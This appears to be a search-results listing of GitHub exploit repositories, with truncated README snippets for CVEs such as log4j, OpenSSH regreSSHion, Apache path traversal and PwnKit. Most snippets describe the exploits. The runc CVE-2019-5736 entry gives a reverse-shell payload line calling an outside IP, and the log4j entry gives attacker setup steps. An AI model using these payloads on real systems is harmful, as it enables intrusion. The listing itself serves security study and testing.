651509 matches found
log4j
💻 -h3x0v3rl0rd- exploiting log4j CVE-2021-44228 TryHackMe Solar, Walkthrough git clone https://github.com/n3rdh4x0r/log4j.git 1. run log4j.py This whill install all the nessasary applications and start the LDAP server ifconfig tun0 python3 log4j.py 10.8.227.251 2. Add attacker IP to Exploit.java...
go-get-RCE
go-get-RCE This is the exploit of CVE-2018-6574: go get RCE This vulnerability impacts Golang go get command and allows an attacker to gain code execution on a system installing their malicious library. This is a good example of a vulnerability that can be exploited using typosquatting to gain co...
cve-2021-42013
Apache 2.4.50 - Path Traversal or Remote Code Execution CVE-2021-42013.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.50. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-42013 If CGI-BIN is enabled...
CVE-2025-1974
CVE-2025-1974 White Hat School 3rd Cohort - Kim So-eun @salt318 https://github.com/salt318/vulhub Summary Caused by a defect in the Ingress-NGINX Admission Controller, a core security mechanism of Kubernetes The Ingress-NGINX Admission Controller is exposed to the network without authentication...
CVE-2021-41773-L-
CVE-2021-41773 🐛 Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like...
ssh_poc2024
cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd 7etsuo Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to...
CVE-2023-50564
CVE-2023-50564 - Pluck CMS v4.7.18 Exploit Overview This script exploits an authenticated arbitrary file upload vulnerability in Pluck CMS v4.7.18 CVE-2023-50564. By leveraging this vulnerability, an authenticated attacker can upload a malicious PHP file, enabling the execution of arbitrary code ...
-CVE-2022-26134
Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severit...
CVE-2021-4034_POC
CVE-2021-4034 - Proof Of Concept This POC exploits GLib 's gprinterr to leverage code execution through the injection of the GCONVPATH environmental variable. Running the exploit Make a tarball file of the exploit: make tar Then somehow transfer the generated tar to the target machine, compile, a...
CVE-2023-4220
Chamilo CVE-2023-4220 Exploit The CVE-2023-4220 vulnerability is a file upload vulnerability affecting Chamilo versions = 1.11.24. This vulnerability allows an attacker to achieve remote command execution by uploading a webshell via the path /main/inc/lib/javascript/bigupload/inc/bigUpload.php,...
CVE-2024-56278
CVE-2024-56278 1️⃣ Component type WordPress plugin 2️⃣ Component details Component name WP Ultimate Exporter Vulnerable version ⚠️ Since the 'WP Ultimate Exporter' plugin is an addon for the 'WP Ultimate CSV Importer' plugin, both plugins need to be installed. 1. Create a new post using the code...
CVE-2025-1974
CVE-2025-1974: Kubernetes Ingress Nginx Controller Vulnerability Analysis and PoC Environment Setup Test Environment MacOS M2 Ingress NGINX Controller 1.11.3 Rancher Desktop Docker Minikube Kubernetes Local Test Environment Setup M2 MacOS Install minikube for local testing minikube start...
CVE-2003-0264
CVE-2003-0264 Exploit for buffer overflow in SLmail 5.5 CVE-2003-0264 Based on: https://github.com/Gallopsled/pwntools https://github.com/rapid7/metasploit-framework Example output: $ ./slmail-into-shell.py + Opening connection to 192.168.15.100 on port 110: Done + Trying to bind to 0.0.0.0 on po...
CVE-2023-46604
CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Overview of Apache ActiveMQ and OpenWire ActiveMQ is an open-source messaging and integration pattern server that supports communication between systems using various languages, not just Java, as well as a broker including clients that support JMS...
Elastix-2.2.0-CVE-2012-4869
Elastix 2.2.0 Local File Inclusion Exploit - CVE-2012-4869 Description This script exploits a Local File Inclusion LFI vulnerability in Elastix 2.2.0 , allowing remote code execution RCE by injecting commands via the callmepage.php endpoint. The exploit is based on CVE-2012-4869. Features Bypasse...
CVE-2021-41773
CVE-2021-41773 Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE...
CVE-2019-5736
🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run: go build main.go Host a...
freeswitch_rce
version: !1https://assets.kitploit.com/production/public/readmes/26769/65a2d4b4b9b040b96740cd66aee81ea...
CVE-2022-39952-better
FortiNAC CVE-2022-39952 PoC for CVE-2022-39952 affecting Fortinet FortiNAC. This exploit allows an attacker to execute arbitrary commands on the FortiNAC server. It is based on the PoC developed by horizon3ai, with additional options for targeting multiple hosts. Disclaimer: This exploit is for...